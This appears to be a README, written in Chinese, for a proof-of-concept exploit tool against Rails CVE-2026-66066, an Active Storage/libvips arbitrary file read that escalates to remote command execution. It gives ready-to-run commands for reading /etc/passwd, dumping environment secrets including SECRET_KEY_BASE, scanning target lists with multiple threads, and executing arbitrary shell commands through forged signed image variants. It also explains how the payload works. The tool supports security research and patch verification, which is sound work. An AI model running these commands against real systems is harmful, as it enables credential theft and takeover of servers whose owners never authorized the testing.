
针对 Rails CVE-2026-66066 的单文件 PoC:任意文件读取、密钥恢复、多线程扫描,以及通过签名图像变体实现的条件性 RCE。
一个零依赖、单文件的 PoC(概念验证)以及仅限环回地址的 Docker 实验环境,针对 Rails Active Storage/libvips 任意文件读取漏洞。它还演示了安全公告中所述的、从恢复的 secret_key_base 到伪造图像变体并执行命令的条件式提权。
主要参考: Rails 安全公告、 Rails 取证分析、 Ethiack 技术分析文章 以及 8.1.3.1 发布版。
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py 在一个文件中包含完整的客户端:
h5py 或 numpy;该工具不会安装软件包、启动回调监听器、要求目标上存在 curl,也不依赖 make。RCE 阶段使用 Active Storage 内置的 representation 路由,不需要 Marshal gadget。
启动易受攻击的实验环境:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
Compose 端口绑定到 127.0.0.1,容器以非特权用户身份运行,并且已移除所有 Linux capabilities。
在另一个终端中:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
运行 python3 kr2s.py COMMAND --help 查看所有可覆盖选项。真实应用中常用的控制项包括 --harvest-url、--show-path、--proxy、--insecure 和 --skb。
secrets --show-full 会打印匹配到的完整环境变量值。不启用时,工具只打印前 12 个字符和省略号。使用 --also-read 请求的文件(包括默认的 Rails 凭据路径)在可读时会最多打印 600 个字符。
被动 scan 只报告页面是否暴露了可采集的 Active Storage representation;它无法识别已安装的 Rails 补丁级别。scan --active 会上传恶意 blob 并尝试金丝雀读取。失败的主动结果会标记为 BLOCKED_OR_INCONCLUSIVE,而不是 SAFE,因为 WAF、身份验证、不支持的变体以及 Rails 修复从应用外部看起来可能完全一样。
停止实验环境:
cd lab
docker compose down
image/png 的 Active Storage 直接上传。matload;目标文件的字节变成图像像素,并随生成的 PNG 一起返回。该混合文件同时满足两种解析器:其文本以 MATLAB 5.0 开头,而偏移量 124 处的版本字会选择由 HDF5 支持的 MATLAB 7.3 路径。Rails 的修复会在攻击者控制的文件到达 matload 之前阻止标记为不可信的 libvips 操作。
除非提供了 --skb,否则 rce 首先从 /proc/self/environ 读取 SECRET_KEY_BASE。它派生出 Active Storage 验证器密钥,并对包含 instance_eval 操作的 JSON 变体进行签名。在受影响的 vips 路径上,该操作会到达 Vips::Image.public_send。PoC 通过内置的 representation 路由发送它,通过 /bin/sh 运行所提供的命令,并捕获两个输出流。
第二阶段是有条件的:需要恢复签名秘密,并触达 Ethiack 对 CVE-2025-24293 分析中描述的易受攻击 vips 转换行为。CVE-2026-66066 补丁封堵了文件读取入口;它并不是对之前泄露的签名秘密的通用修复。按照 Rails 安全公告的建议,在疑似泄露后应轮换秘密。
命令输出写入随机的 /tmp/.kr2s_* 文件,通过相同的文件读取原语恢复,然后使用第二个签名载荷删除。
读取会返回请求的固定大小区域。如果源文件较短,则其前缀后跟零字节。后续区域请使用 --offset。
默认实验环境变体仅转换为 PNG,因此恢复是字节级精确的。真实应用可能会调整变体大小。采集密钥模式使用单像素列以避免水平重采样,但高度较低的变体仍可能改变几何形状。这种情况下客户端会明确失败;请减小 --size 或采集不调整大小的 representation。
每个命令都具有侵入性:它会创建持久化的 Active Storage blob,并可能创建已处理的变体。rce 还会额外执行所提供的命令。
矩阵脚本会构建每个版本,对易受攻击版本执行真实读取和 RCE 检查,断言在已修复版本上读取被阻止,并在任何不匹配时返回非零退出码:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
已于 2026-07-31 使用 Ruby 3.4.10、image_processing 1.14.0、ruby-vips 2.3.0 和 libvips 8.16.1 验证:
已修复的行刻意不会使用预先提供的签名秘密触发 RCE 载荷;矩阵测试的是 CVE 的文件读取边界。
research/craft.py 为加载器研究重新生成候选载荷,需要 h5py 和 numpy。发布版 PoC 不会导入它。lab/probe/probe.sh 在实验环境镜像内使用 ruby-vips 检查这些候选载荷:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
运行无依赖的单元测试:
python3 -m unittest discover -s tests -v
MAT/HDF5 载荷和免依赖客户端是通过本地测试开发的。在公开 PoC 出现后,本版本整合了 Zer0SumGam3 的 PoC 中记录的变体密钥采集和 Active Storage 内置路由。此处的 Python 实现是原创且仅使用标准库的。
早期修订版曾证明,使用签名 Marshal 载荷结合 Puma::MiniSSL::Context 和 ActiveSupport 代理也可实现 RCE,该思路基于 Behrad Taher 的公开 gadget 研究。这条路径不需要目标端的辅助二进制文件,但要求存在支持 Marshal 的签名 ID 汇聚点,以及已加载的 Puma 和 ActiveSupport gadget 类。在 Ethiack Research Team 发表其 KindaRails2Shell 技术分析文章 后,该方案被替换为更简单的签名 JSON 变体技术。它使用内置路由,并消除了上述前置条件。
发现功劳归于 André Baptista (0xacb)、Bruno Mendes (s3np41k1r1t0)、Rafael Castilho 和 Ethiack Research Team,以及 RyotaK (GMO Flatt Security)。Abdelmounaim Moulahcene (bl0rph) 在协调披露前不久独立发布了底层原语。维护者的完整时间线和致谢请参阅 Rails 取证仓库。
仅可在您拥有或明确获授权测试的系统上使用。作者对滥用行为不承担任何责任。有关此研究工件的报告问题,请参阅 SECURITY.md。
根据 MIT License 发布。
| Rails | 文件读取 | RCE 检查 | 结果 |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | 通过 |
| 7.2.3.2 | 已阻止 | 未运行 | 通过 |
| 8.0.5 | READ-OK | RCE-OK | 通过 |
| 8.0.5.1 | 已阻止 | 未运行 | 通过 |
| 8.1.3 | READ-OK | RCE-OK | 通过 |
| 8.1.3.1 | 已阻止 | 未运行 | 通过 |